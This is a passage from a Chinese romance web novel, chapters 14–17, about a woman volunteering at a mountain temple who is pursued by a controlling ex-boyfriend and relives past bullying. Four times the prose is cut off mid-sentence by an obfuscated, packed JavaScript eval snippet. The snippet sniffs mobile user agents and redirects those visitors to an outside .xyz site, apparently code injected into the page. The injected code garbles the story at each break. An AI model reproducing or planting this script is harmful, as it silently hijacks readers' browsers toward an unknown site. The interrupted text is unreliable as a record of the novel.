莫昭收了手,哂笑一声:“看来我叫错了,不该叫成太太,应该叫慕容女士。” 猫一样的美丽女人已婚。她姓成,还是姓慕容?宁蓁躲在暗处思考,忽然想起莫昭讲过竞争对手的婚姻状况,再之前,她和温霖在法堂附近听见人们议论,说成总势在必得。 所以,这个女人就是传闻中拥有“旺夫命”的妻子。 “最近流行礼佛么?”不远处,慕容也浅笑几分,“不知道莫总的《心经》研究得怎么样。” “‘五蕴皆空,度一切苦厄’,正好我前阵子读过。” 大学时教授简单讲过《心经》,宁蓁忘得差不多了,只记得经文短小精要,除了开经、结经,正文不过二百多字,后面几句是著名的“色即是空,空即是色”。 高跟鞋在石阶上踢踏,旗袍侧面的衩随着她抬腿莹莹摆动。 “你穿这身进寺庙上香,恐怕不合适吧。”莫昭脸上残存着笑意,言语却针锋相对。 那女士不在乎他的挑衅,仍然悠悠走着。 “合不合适的,莫总明明心里清楚,”她慵懒掀了眼睫,一句话把他拖下水,“这个节骨眼,谁还有闲心来鹭山焚香?” 莫昭直视着山门,如实承认:“别人要干什么我倒不清楚,不过你说得对,我不是为了焚香来的。” 两人身形近在咫尺。宁蓁躲在树丛后,屏住呼吸。 “我来接女朋友回家。” 14. 告密者 “女朋友啊。” 精致的猫眼眯了一瞬,她仰起细颈看向山门。 “和尚的家里竟然有女人,我还真没听说过这种事。” 慕容女士轻声嗤笑,觉得对方的借口过于滥俗。 “有还是没有?”莫昭以问句还击,“您自己转一圈就知道了。” 话里藏着芒刺,听起来太不舒服。等他们走入山门,宁蓁拨开矮树迈过草丛,继续杵着笤帚扫地。 莫昭早晚会打电话,但时间比预想的晚。也许他们先碰见小唯,他用事实证明了福缘寺的确有女性义工。宁蓁不想和他在寺里见面,于是拖拖拉拉干活儿,从下扫到上,再从上扫下去,心里默念着“诸法空相,不生不灭”。 同一条长长的石阶,她感觉下来要比上去更难。 最后,莫昭在最初那级阶梯找到她。宁蓁看见他远远往下走,墨蓝的一片,他背后,阴沉的云里掺了尘土,漫天灰黄。 “半天找不到你,躲在这儿干什么呢。” 莫昭站在她眼前。宁蓁楞楞盯着他的西装,左右襟的细格纹能对齐,严丝合缝。然后又想:沙尘天快要来了。 “我不是你的女朋友。” 他挑了下左眉:“原来如此,在这儿方便偷听我们说话。” 对于偷听两个字,宁蓁不置可否。 “扯平了,你也在监视我。” “不如你先翻翻字典,看看‘监视’的含义。” 她始终低着头,视线往下坠,掉到石阶磨得锋利的边缘。 “……” 看她不吱声,莫昭无奈苦笑:“至少,曾经是我的女朋友,这句话没错吧。” 宁蓁抿了一下嘴唇,齿侧的黏膜溃疡沙沙地疼。 是啊,这个名号她倒记得真真切切。 记忆在翻涌,连带着潮湿的旧事。 被注视的那段时间,她整天神思恍惚地做梦,把别人的视线归咎于赞美和幻觉,直到在曲折的羊肠小道里被泼成水淋淋的落汤鸡。 哗—— 第一个水球擦过宁蓁的裙摆摔到地上炸开。 她怔在原地,还天真地以为谁在跟她闹着玩。 是玩笑么,还是给朋友准备了生日惊喜却认错了人呢? 紧接着第二个水球砸中她的腰,气球轰然爆裂,冷水浸透浅白的上衣,滴滴答答往下流。 这是在干什么? 宁蓁转身,喉咙却哽咽,挤不出半点声音,仿佛冻结在深秋萧瑟的风中。 “你,就是你!” 路灯半明半暗,灌木后站着一名陌生女孩,掏出灌满冰水的气球冲宁蓁砸,起初软糯糯的,跌跌撞撞的,自从某个球重重击中胸口让宁蓁退了两步,她就疯了似的,胳膊不费力气似的,好像砸在嘉年华的游艺机上,最后宁蓁还要张开嘴巴给她吐出奖品。 “你妈的脸都被你丢尽了!被包养的拜金女!” 她的吼声像撕裂的帛。 宁蓁用帆布包挡着,只够遮住脸和胸前。教材湿了,笔记本电脑湿了,后来连内衣都浸湿了,冰水顺着大腿渗入脚踝,浑身上下没有哪里再是干燥的。 灌水的气球沉得如同拳头,那个人跟踪她半个学期,终于一拳拳地扔了过来。宁蓁借路灯看见小路盛满破碎的气球,彩色碎片浸在水迹里,红的绿的紫的蓝的——是梦啊,做梦才有这样缤纷的颜色。 意识飞得遥远。我们为什么会在这儿?在演戏吗?她是谁?我身上长了腿,可是为什么控制不了? 我……? “我”又是谁…… 当宁蓁缓过神,决定做出一些反应时,手机已经爬满水渍。衣领和袖口潮湿漫溢,秋风刺骨地吹,每一滴水都与风摩擦出蛇信子般的嘶嘶声,阻挠她向莫昭求救。 沾了水的屏幕自动往下滑,和做梦的时候一样,怎么拨都拨不出那个正确号码。 深秋,枯叶离枝的夜,宁蓁望着那个伤害她的陌生人,望着她提起塑料水桶,失魂落魄地离开。 莫昭第二天才得知这次遭遇。 他一向成熟稳重,当年,宁蓁认为成熟的标志就是管理好自己的情绪。那一晚她拖着淋淋漓漓的水渍回了寝室,吓得室友们大呼小叫,相比之下,莫昭显得相当内敛,他的愤怒不写在脸上,而是承诺要彻底肃清这件事。 纸包不住火。她首先瞒不过室友,其次瞒不过金融系的学生,刺激的八卦从她们寝室散播到经济学院,甚至蔓延到学校的论坛和表白墙。 “哎,好像是经三班的女生干的。” “为什么啊?” “也是听见有人传啦,说她们同学笑她傻,拱几句火,她还真去干了。” 室友们窝在各自的椅子里分享情报。再后来免不了流言蜚语,众人口口相传——“当事人是被包养的女大,经常被豪车接走,泼水女矫正校园风气,实乃正义使者”。 其实宁蓁不以为意。 因为传闻不是真的,就连室友都知道莫昭已经很久没开车接过她了。交往之初,他送过一些礼物,包、裙子、项链,每个精美的盒子都闪闪发光,里面装着她十个月以上的生活费。宁蓁一件也没有收,她不想要这些,而且根本还不起。 闹剧发酵了一段日子,她没有跳出来澄清。又过了几天,同班同学伸出了援手。尽管他们和宁蓁算不上十分熟悉,聊天也仅限于选了什么课,今天中午吃什么。但他们相信眼见为实:宁蓁从来都没背过奢侈品包,看起来不懂得用美貌和身体交换资源。支持者打算“还原事实真相”,在校论坛中口诛笔伐,一石激起千层浪,于是,两个人的矛盾终于转化为文院和经院的论辩大战。 一周后,莫昭来了。在那之前宁蓁像块冰雕,他来以后,她终于有点融化的迹象。 麻木的思绪开始运转。她想了解对方伤害自己的动机,为什么来自经济学系,难道仅仅出于拜金的传闻。 莫昭替她约见了校领导和肇事者。会议长达四小时,宁蓁在楼道里整整等了四小时。最后,太阳下山了,大门打开,里面飘出游刃有余的笑语。那个女生漫无目的地走过来,披着密不透风的疲惫,和她夜晚提着水桶离开时一模一样。 “现在我要退学了。” 她嗓子哑了。 “你满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有个疑惑宁蓁一直想弄清,可她是座冰雕,时不时就重新冻结,一直没能问出口。 “你之前……怎么知道我在这里做义工。” 那天,莫昭故意在山脚下等待。或许他为了筹划工作才现身鹭山,然后恰巧偶遇,恰巧重逢,“诸法由因缘生”,但怀里一捧殷红的玫瑰暴露了他早有准备。 “我问了你母亲。” 她觉得他手里少根烟。 “……” “你还念大学的时候我们就接触过,你早就忘了吧。上个月路过你家附近,看见阿姨就打了个招呼,没想到她还记得我。” 沙粒磨得宁蓁眼睛泛红。那个泼水的女生也骂过“你丢尽你妈的脸”。她不清楚自己是不是听见那句话才动弹不得的,现在,风呼啸着,堵住了呼吸,连张嘴都很艰难。 她静静地说:“我妈早就死了。” 15. 错识初恋 刹那间,莫昭缄默了。 唯独这句话不可能在他意料之内。 宁蓁逆着风,用胳膊掩着双眼走上山门,去杂物房放笤帚。 “宁蓁师兄!” 房门口碰见义工组长,他一寸短的头发长了些,肤色比之前更深。宁蓁被喊住,听他嘱咐几句“不必勉强”的话,总归是身体受不住就先去休息,让其他师兄替着做厨房的活儿。 她摆手:“我可以做,没问题的。但师兄怎么知道我身体不舒服?” 义工组长顿了顿,低头回答:“今早,安师兄来问过。” “我明白了。”宁蓁颔首示意。 她明白义工组长就是被莫昭收买的人,像家长托付班主任好好照顾我家孩子一样。除此之外,还能有什么解释呢。 放好笤帚,宁蓁睁着泛红的眼,想让泪水冲出沙粒。沙尘铺天盖地,明日一过,今天的清扫又成了徒劳。可她总不能不做。没多久,眼泪涟涟落下来,她拿出湿巾擦净双手,再用纸帕拭去泪痕。 「清明节记得腾出时间」 手机振动,李肃发消息提醒她又到了一年扫墓的时候。 宁蓁立刻打开通讯录拨回去。 “喂,蓁蓁?” “你为什么告诉别人我在福缘寺?” 她理解不了:莫昭于她已经形同陌路,李肃却胳膊肘往外拐,偏和一个陌生人透露她的行踪。 “我不告诉他行吗?你一个小姑娘非要跑到深山老林跟和尚住一起,你自己想想合适吗?要不是莫总主动陪着,你让我怎么放心啊!” 李肃的嗓子像点着了,越说烧得越旺。她身上的火点燃过很多人,包括她的丈夫和儿子。 “宿舍有女性义工,我们都一起做事。” “男人和女人能一样么?”对面声量更高,“再说了,多个人管着就多一份保障。人家跑那么老远看看你,他图什么啊,还不是因为念旧情。” “……” 话题走岔了。一声坚硬的长叹递过去,穿越听筒。宁蓁惯用这种方式表示对抗,但李肃每次都视若无睹。 “你们现在不就在寺里吗,你也去找大师算算,是不是正缘来了,该不该把握好机会啊。” “……姨妈。” 她酝酿几秒,叫出那个尘封已久的称谓。 “你真的想太多了。” 早该知道是这样的结果。 她不再自讨没趣,果断按下挂机键。 寮房内空无一人。风声犹如巨大的呜咽,挟着沙尘滚滚而来。 幸好早上关紧了窗。宁蓁莫名想到那名穿旗袍的女士,猜测保镖会扶她走下山门。外面的活儿都停了,小唯还没回来。她趁空闲去卫生间淋浴,让热水浇灌自己,直到白雾升腾,连带着电话里的惝恍一起慢慢蒸发。 吹干头发,宁蓁缩在床上捧起手机。时隔七天,鸰一终于更新了。 这次他舞剑,悠长的箫与弦音里迸发出昳丽鲜活的生命力。 短短半分钟反复播了十来遍。梦中“师弟”的身影逐渐向他靠拢,或者完全相反——她在鸰一身上增添笔墨,自行描绘了天性气禀,带他回谷。 到底是谁像谁? 宁蓁对着屏幕发呆。 梦是各种形象的综合。其实根本无可究诘,但每次她心情低落就会捉住很多无所谓的零零碎碎。 “原来蓁蓁钟意这一款啊——” 忽然,清朗的声线探过来,好像发觉了不得了的秘密。 “不是……!” 宁蓁一时语塞,连忙熄屏扬起头,才看见安唯倚着上铺床沿弯腰,将她的屏幕饱收眼底。 “别怪我啊,都喊了好几声啦音乐还在loop,只好看看什么东西这么吸引你。” 她眉尖微蹙:“也……也没有那么吸引。” 安唯有时候显得冷酷,彼时口中的言语容易滑向嘲弄和揶揄,幸好此刻她笑着。 “我就知道傲娇永远不退环境。” 羞耻感从腰际爬上肋骨,随后在玩笑话里化解了。宁蓁揉了揉酥痒的手臂,聊回正事。 “义工师兄让我休息,谢谢你帮忙请假。” 疑惑顶替了笑意,但安唯很聪明,片刻就想通原委。 “哇,这些人真是……” “怎么了?” 短发女孩撇撇嘴,说:“直接替你请假有点不妥吧,所以我早上碰见他,顺带问了句‘我过敏得了荨麻疹能不能歇一天’。他叽里呱啦讲了一通,意思是能干就干吧,厨房不能少人。我不懂他是不是脑袋突然转过弯儿了,发现生病的是你,变慷慨了。” “啊……” 大概组长拿钱了才对自己特殊照顾,但宁蓁羞于坦白。 “早听说过寺里比真正的社会还社会,”安唯摇摇头,“世风日下啊。” 话题飞快就过去了,组长的态度根本不值得她放在心上。宁蓁却因为早晨的怀疑而愧疚,感觉心脏越来越沉,一直沉入梦里。 * “九师姐,你有心事啊。” 澄净的湖边,师弟正立在粉色大食蚁兽旁,目光噙着忧虑。 梦境一幕接着一幕,像无限续杯的碳酸汽水。 宁蓁了解自己的心事,可开口问的却是“你去哪儿了”。 “我,”师弟淡淡笑道,“在谷口巡了几遍,发现春光正好,师姐,我们一块儿逛逛吧。” 她执拗摇头,携着师弟去瀑布后的山洞。 那里有巧克力地下河,还有瞪眼睛的圆鸮木雕。上次的梦令人毛骨悚然,宁蓁想,只要他在身边就好了。 “对不起。”她突然说。 “为何道歉?” “……没什么。” 洞内情状变易,不再潮闷,亦无水滴之声,恍如睡着了般静悄悄的。 师弟用火光掀亮一面石壁,身形忽而顿了顿。 “有画?”他低语。 石壁上刻着线条,能模模糊糊辨出人样。天上月晕溶溶,看样子是起了风,那人衣衫朝左飘忽,手中火把的火苗却窜向右。 诡异的画。 宁蓁心间一颤:“这风……到底要往哪里吹?” 她沿着火苗的朝向转头,洞深处一团蒙昧幽灰,悬在空中簌簌翕动,似乎不可名状。 师弟侧了身,顺势遮住她视线。 “别再走了师姐!” 呼喊霎时划破空气,宁蓁被他声音曳住脚步,想起他说自己是谷里的影子。 ——那块深邃的浮游物也像影子。 她怔愣了,喃喃道:“师弟,你的真身是……” 话音未落耳边咻的一响,两簇暗器堪堪掠过,当即削掉她一束长发。 “啧,”师弟暗暗怒道,“真会挑时候!” 他化为流影渗入石壁,眨眼间玄袍长刀已然挡在洞口。 “里面的人听着,交出夕明谷,饶你们不死——” 天光熹微,宁蓁坠在半梦半醒之间,胸口突突直跳,剧情却不往后面演了。 沙尘天转眼即逝,后来陆陆续续下过几场小雨,带走扬尘、花粉,涤荡出蔚蓝的天。 “好焦灼啊……” 下山途中,安唯听见她自言自语,问:“你说啥?” 山间蓊郁的绿色让宁蓁回过神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人说话的时候,小唯就蹲伏在腿边揉弄小狗。过一会儿她偏了头,起身,从轮胎打量到车标,手指摸着下巴呈沉思状,然后露出一个真相大白的笑容。 “这就是蓁蓁的初恋啊。” 话音不响,但也不避讳,在场的人都能听见。 宁蓁被她惊得迅速扭头。 “什么初恋?” “就是我们第一次见面那个晚上你说过的。” 初次见面的晚上。 对,她的确说了,因为那天她遭遇不速之客,还不小心冒犯了温霖,折腾得自己恍惚游离,让回忆漫出来。 “是不是记错了……”她尝试提出疑问。 安唯却信誓旦旦:“没记错啊,这辆车不是卡宴嘛。” 那晚,她传达的信息组合起来——“开卡宴的”是“我的初恋”。 宁蓁隐约意识到不对,脸颊和胸口猛地一热。 “那对面那辆车是……” 她缓缓抬起手指向一片树影。隔一条路,阴影里停着辆漆黑的车,旁边几人围着,其中有个戴眼镜、衣着深沉的男人,是她真正的初恋。 “那个啊,”小唯踮起脚眯着眼睛望了望,“看不太清,应该是库里南吧。” 宁蓁面色呆滞一瞬: “……好像,弄错的是我。” 温霖不知道她认不出车的品牌,也不知道她被过去纠缠,时而严重到搞不清记忆与现实。他全程没有插话,只是安静看着她冷漠的外壳渐渐动摇。 安唯刨根问底:“哪里错了?” “我以为对面那辆才是卡宴。” 宁蓁诚实地承认,眼神却飘忽,想逮个缝隙钻进去。 半晌,短发女孩嘴里蹦出一个音节。 “诶?” 16. 为什么 天是澄澈的蓝。 厘清原委后,爽朗的笑声几乎响彻鹭山。 “哈哈哈哈!真对不起……”她差点笑出眼泪,“误会了呢!” 安唯没想到宁蓁分不清保时捷和劳斯莱斯,最初听对方说起初恋的时候,她还以为是在炫耀。 “把你错认成蓁蓁的初恋了,别介意!” 短发女孩努力忍着笑,双手合掌,低头,模仿寺里的师父表示惭悔之心。 沐沐仰着脑袋观察他们。小狗也不懂车子的差别,不知道哪个能换来更多小零食,但它懂得吸吸鼻子嗅出人类的情绪,譬如现在,空气里正飘着亟待安抚的气味。 宁蓁脸上发烫,不敢直视任何人。 她最近总是阴差阳错陷入窘迫。第一次对着沐沐自说自话被听见,这回又认错人闹了误会。虽然他看起来没有女朋友,否则他们应该结伴前来观鸟——还好没波及到更多人,不幸中的万幸。 “没介意,”温霖双眼微弯,“弄错车标而已。” 以后不会错了,大概这辈子都忘不掉。宁蓁刚要为自己分辩几句,却被一阵振动打断。 “抱歉,接个电话。” 她走远两步,肩膀和发尾落了蓬茸的阳光。 温霖的视线紧跟着,随后敏锐地掠向公路对面。那个男人同时举起手机。坡道两侧,所有人身上都罩着层浓郁的荫翳,包括他自己。 “真可惜啊。”忽然,安唯遗憾地说。 “嗯?”他转头,不明所以。 “我已经脑补出一段初恋久别重逢、破镜重圆的戏了,现在看来,对象好像另有其人呢。” 她手臂在胸前交叉,语调比刚才低了,不仅是调侃那么简单。 “……真可惜啊。” 温霖哑然失笑,学她那句遗憾当作回应,听不出是落寞还是幽默。 话题戛然而止,安唯不再表现出兴趣,蹲下身子继续逗小狗玩:“宝贝说该怎么办呢,是不是得买来你最喜欢的猫条才行?不对,你不吃猫条……” 沐沐让“吃”字勾住了,左右甩起尾巴。 另一边,宁蓁接起电话,刻意压低的男性嗓音模糊飘来。 “蓁蓁,有空么,待会儿带你去山里见见朋友。” “……” 她逃离一个尴尬的境地,又主动迈入下一个。 男人企图说服:“义工那边我给你解决,耽误不了多久,就当帮我个忙。” 很久以前宁蓁见过他的朋友,差不多是一群盛气凌人的男女。当年她太年轻,面对饭局只会微笑,进了斑斓的别墅舞池,青光红光在脸上照着烤着,逼得她四处躲躲藏藏。 “……好。” 宁蓁轻咬了下唇。 她痴长了些年岁,也许依旧无所适从,但这次她决定帮他。 手机里还存着李肃的信息,提醒她清明节快到了。她说莫昭是她的正缘。宁蓁狠狠地想,那我就当他是正缘,我要帮他,听他的话,没准还会重归于好。姨妈,你看着吧,看看我最后会变成什么样子。 风敲着听筒。 那边,莫昭轻松地笑了:“等我半小时,开车去寺里接你,待会儿见。” 电话飞速切断。宁蓁回到朋友们身边,发现牵引绳辗转到小唯手上。 “蓁蓁,他要观鸟,宝贝暂时归我看管啦!” 温霖背了包,里面装着上次提到的长焦镜头和无反相机。他没有拿出来给她展示,没说其他寒暄,长睫毛垂下来遮掩着眼中的疏远。 “那我就先不打扰了。” 她应一声,重新披起寡淡漠然的皮。 * 温霖提前出发,避开了人群。她们买过调料,牵着绳子带小狗回寺,走到山门下正碰见迎面驶来一辆劳斯莱斯。 宁蓁说有事得出去一趟,过会儿就回来。 跑着的小狗立在原地不肯动了。安唯瞥向公路,朝她摆摆手,低身去扯牵引绳。 “怎么了宝贝,你不想上台阶?” 那辆车应该是来接她的,就算不是,宁蓁也打算走远点。先前,寺里香火旺盛那天,小唯说过讨厌西装革履的人。她不想让小唯看见自己坐进莫昭的车,虽然刚才那出误会已经抖落出了她浑浑噩噩的过去。 十几米外,黑色轿车按响喇叭叫住她。宁蓁回头望去:短发女孩抱起沐沐,一口气冲上了山门。 “后面有好东西么,我也看看。” 莫昭手持方向盘,轻笑着揶揄。 宁蓁端正身体,系好安全带:“没什么。” 他经常换车,但挡风玻璃前都摆着摔倒的兔子摆件,整齐划一,让人以为是种仪式。 车内闭塞,玫瑰香水馥郁,直冲鼻腔,混着皮革的气味熏得她晕晕乎乎。 “蓁蓁。” 他一边驾驶,一边用殷切的语调喊她。 宁蓁后背紧贴座椅,因为惯性牢牢吸在上面。窗外景色飞速倒退,玉兰凋萎,杏花也快谢了,绿意葱蔚翻涌,像化开的浓墨。 春天短,花期也短,如果失去杏花的标志,他还能找到观鸟的路吗。 “你的哨子,带了吧?” 莫昭吐露出一个问句。 她的心神霎时被牵掣,拼命拉回逼仄的车里。 “哨子。”她问。 “你以前会吹,”他瞟着后视镜,“能模仿鸟叫的哨子。” 莫昭对恋人曾经的习惯念念不忘:当年她喜欢随身携带,每次他一时兴起,总能在她身上找到。 “我没带来。”宁蓁右手按着口袋里的硬物件,头昏脑涨地说谎。 男人顺势转了方向盘,车身猝然往左偏,眼看着要掉头折返。 “那回去拿吧,在宿舍,还是在家?” 她心脏水淋淋地晃悠,身上渗出冷汗,晕得闭上眼睛以免自己甩出去。 “……不用了,可以现场做一个。” 他识破谎言,低笑着:“待会儿能演示一下吗?” 胃在打颤,一阵阵往上掀。宁蓁捂紧下半张脸,挡住香水气味。 莫昭让她吹鸟哨。 很久以前他也让她吹过。她偶尔答应,更多时候装不熟练,蒙混过关。她不曾提起十年前那个噩梦,甚至连李肃都不知道那天发生的事。为什么她突然不上学了。为什么她一碰竹哨手就发抖。为什么她越来越冷,记忆力越来越差,为什么时而浸在洇湿的水里难以自拔。 “就一下。” 宁蓁忍着胃里泛起的恶心,说。 早晚有一天得重新拾起鸟哨,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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以前怎么没听说过他有个发小? 他们明明应该互为商业劲敌…… “你好。”她握了上去,不打算对陌生人透露自己的姓名。 成理弯起眼睛笑了笑。她想起出现在沙尘天的那位旗袍女士,他们两人是一对恩爱夫妻,在莫昭口中,慕容带来的运势足以让成理在北城圈子站稳脚跟。 但是,好奇怪。诡异的微妙感让宁蓁稍稍蹙眉,可一时间捉不住什么蛛丝马迹。 成理握了五秒才放开。隔着两人远的地方,一道尖嫩的女声忽然喊道: “我拍到了!张董您看!” 电子快门声不如机械的干脆,此刻却像暴雨般杀气腾腾地泼下来。 宁蓁才反应过来他们究竟在拍什么。 “好啊,这张清楚!” 说话的是员工敬重的“张董”,声音苍老,但中气十足。 “你看看,多像咱们的国画,山水花鸟图。” 她不出声,沉默地望向那个老人。他大概过了古稀之年,鸭舌帽压着白花花的发,一具慈眉善目的脸,言语间却宛如电闪雷鸣,轰隆隆地响着,引人惊呼。 “是呀!真有意境啊!张董真是好眼光!”三脚架后的女生极力附和。 成理走过去,挤到相机屏幕前,饶有兴趣。 17. 不记得 “这是什么鸟啊,长得和鸽子一样。” 他们观鸟的阵仗与温霖那边天差地别,简直是摆了阵法等野生小鸟自投罗网。 张董让左手边的成理去查查。他从秘书的背包里拿出一本厚图册,但莫昭站在右侧打断了他。 “不用翻了,蓁蓁知道。” 突然,人们视线的焦点层层推进,钉在她身上。 白发老者用和善笑容拖曳宁蓁的脚步,让她到跟前来。 “你是小莫总带来的人。” 她点头,没有说话。 “那你肯定是聪明伶俐的姑娘,我来考考你,刚才小王拍到的鸟是哪个品种?” 老人拥有足以匹配教授的年龄和资历,但他教不了宁蓁。他能教她什么?在奢靡的摩天大楼顶层用身份和地位呼风唤雨吗? 相机取景屏里有只灰鸟,脖子上围了一圈珍珠般的细碎花纹。 傻乎乎又不怕人,还咕咕叫着,她不用思考都知道答案。 “鸽形目鸽鸠科,珠颈斑鸠。” 成理按她所说翻到鸽形目那页,图鉴上绘制的珠颈斑鸠和照片里的一模一样。 “好啊!没想到你们小年轻也喜欢赏花赏鸟了。”张董喜笑颜开,“在企业里讲究狼性文化,在外面我们还是要亲近大自然,多向大自然学习。” “蓁蓁不只会观赏,”莫昭的嗓音斜斜叩着她的背,“还会模仿鸟叫声,对吧?” 宁蓁的指甲掐入手心,躺在口袋里的鸟哨顿时偾张地喧嚣。 成理依旧兴致勃勃注视着她。他的眼光同时提醒宁蓁往远处眺望——林海前方排布着一座座低矮砖房,棕灰色,像经过风吹雨打,不得已佝偻着。那群空置的建筑昭示着他们的野心。 莫总和成总正在竞争这片土地。 如果落到后者手里,野生动物终究会流离失所。 “鸟叫声,能呼唤同类,那正适合我们打鸟啊。” 成理把“观鸟”称作“打鸟”,摄影圈子里约定俗成的用语。 张董从年轻秘书手中接过保温杯,脸上始终笑吟吟的。他们穿着长衣长裤。宁蓁也穿的是薄风衣,盖住脚背的裤子。但几名女秘书只能穿露出半截膝盖的包臀裙。 她又开始神游了。 “怎么了蓁蓁。”莫昭低声问,镜片下闪着精光。 已经答应的事不能临时反悔。宁蓁从风衣内侧拿出竹哨,双眼游走于茂密林叶之间。 鹭山有许多鸟。 远方坐落湖泊,应该有沼泽山雀。高枝上呆着灰喜鹊、白头鹎、燕雀,林间跑着戴胜,说不定能看见换羽后的红胁蓝尾鸲。没准红隼会来觅食,夜间活跃的鸮形目也伏在枝头。 ——“蓁蓁,再表演一次吧!” 耳边回荡着清脆的话语。 宁蓁觉得心脏被攥住了,被硬生生往下拽,身体也紧绷着,如同枯槁的机械,所有关节涩得喀喀作响,耗尽力气才能抬起双手将竹哨贴近唇边。 一簇簇目光黏上她,想见识见识小小的哨子能吹出什么花样。他们不知道宁蓁挨过多少打,以至于她练就了游刃有余甚至收放自如的哨音。 手指按住空洞的竹身,气流从中穿过,擦出尖锐的啼啭。 “以假乱真啊。” 成理啧啧称奇。负责把控相机的员工们紧随其后赞叹。 “真厉害……” “你们看,真的有鸟来了!” “好多小麻雀!” 鸟哨确实引来了野生小鸟——无一例外,全部都是麻雀。 宁蓁对自己的杰作冷眼旁观。这幅景象是她微不足道的反抗。 白发老人慢慢悠悠拧开保温杯,呷了一口,又慢腾腾拧上,递给女秘书。做完这套动作,那张苍老的脸才流出欣赏的神色。 “姑娘,你真的有点本事在身上。” “张董过奖了。”莫昭替她回答。 “要是我年轻个十几岁也能学一学,”张董似乎十分遗憾,“可惜啊,净忙着案牍劳形的事务,不知不觉都这个岁数啦。” 拍到珠颈斑鸠的员工争着喊道:“您还不老呢,现在学也来得及!” 成理不言语,却忍不住嗤笑一声,那种表现就好像当场撞见朋友养的宠物犯蠢。 张董依然和容悦色:“老人的学习能力怎么能比得上你们年轻人。这样吧,小王,你去拜师学学,学成了再表演给我们看。” “我,这……”她为难地磕巴起来。 “这是蓁蓁家里的传承,”莫昭似乎打了圆场,“一时半会儿也学不会的。” 被称作“小王”的女孩子趁机退缩两步,讪讪地躲向同事身后。 张董褪下腕上的沉水香手串,用拇指慢慢盘着,端量着宁蓁。 “不过这么有本事的姑娘,怎么之前不见你们来往?”他转向莫昭,语重心长,“这样,你把她的八字拿给杨大师,算一算。” 麻雀叽叽喳喳,一刻也不停歇,一群群飞来飞去。 她收起了鸟哨,不打算演示第二次。太阳炫目,她却感觉寒意在每根血管里游走,从毛孔里浮出来。 “半小时后我们准备去高尔夫球场,”成理主动发出邀请,“你也一起么?” “不好意思,我不太舒服。” 宁蓁捂住嘴微微欠身,转身离开。 起初还顾虑背影看着像不像晕车或中暑,后来她就忘了,忘了自己在装什么,忘了路通向哪里,只依靠本能追着太阳狂奔。小时候她就经常仰着头疑惑,为什么“我”不是天上的星星,为什么每次想到这个问题就会想不起“我”的名字。 我…… 是谁……? 悬崖底下,苍郁的树海向她招手。 “蓁蓁,你有东西落下了。” 回过神,莫昭已经追到身边。 他提来一件手提袋,外白内红的撞色,写有Valentino的标志。 “不是我的。”宁蓁蜷起身子蹲在地上,下巴抵着膝盖。 “当作谢礼吧,如果你不想要可以卖了,要么就留在这儿。” 莫昭把袋子拎到她眼前。宁蓁猜测里面是昂贵的鞋子或包,但提不起半点兴趣。 奢侈品,玫瑰,都是他以前爱当作礼物的东西。 “……我想从这里跳下去。”她说。 崖下绿得阴湿,森然的叶脉仿佛能捻出水来。 “嗯,跳吧。” 莫昭余光扫着她,指尖夹烟,啪的一声拨开打火机。 “我接着你。” * 回寺后,宁蓁关了寮房的门,反复洗手。 房间朝阴面,颤抖的阳光被隔在窗棂之外。她忽然有了灵感,掀开笔记本电脑创作一个叫做《捏黄油》的故事。 一觉醒来,主人公的双手莫名拷上没有锁孔的手铐。她到处求助,竟发现世界上只有自己能看见这副枷锁。日子川流不息,洗刷着她自由的信念。某天主人公独自来到一间自助餐厅,夹紧两条胳膊歪歪扭扭取菜。她盛了一碟黄油,在手心捏化,幻想光滑的触感能让自己舒服些。 一直在默默观看侍者走过来教育她:“女士,黄油不是这么吃的。” 她当即歇斯底里叫喊:不要管我了行吗。眼泪喷涌而出,淹没了餐厅,淹没整座城市,淹没地球。 宁蓁坐在陈旧的木桌前疯狂地写,拼命克制几度分散的心神。 一个半小时后,窗外日光渐渐沉没。她活动着麻木的手指,终于离开座椅。 莫昭向义工组长借用她一下午,剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071744|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间理应由她自己掌控。穿越走廊,院子里零零散散几名香客,家长带孩子来郊游踏青,手里拿了折叠凳和精致的营地灯。 找不到沐沐,也找不到小唯。她在古槐下听头顶的柳莺鸣唱。小孩子不过五六岁,一个女孩,一个男孩,安静地盯着香炉上升起的白烟。 “妈妈,我们明天还能来玩吗?” “明天你们两个都得上课啦,你学围棋,姐姐学舞蹈。” “可是可是,围棋也太无聊了呀。” 舞蹈课外班。 宁蓁想起,自己也曾经学过一小段跳舞。但是后来…… “姐姐!” 在她走神的间隙,温霖回来了。他肩膀落了片细叶,身上散发着纯净的青草气味,看起来比出发时开心。 夕阳染红半边天际。恰好那时安唯也牵着沐沐出现在庭院角落。快到整点,寺里该敲钟了。 “今天光线绝佳,你看我拍的这只。” 温霖翻转相机的朝向,在他背后,孩子们跑动起来,兴奋地你追我赶。 “可爱吧,这是什么鸟?”他问。 屏幕里有只黑白相间的鸟,长相聪明机敏,配色像传统的边境牧羊犬。 宁蓁恍惚片刻,说:“是白鹡鸰。” “那这只呢?” 他适合拿刀剑的手不断按动按键,取景屏里一张张照片流动,停留。 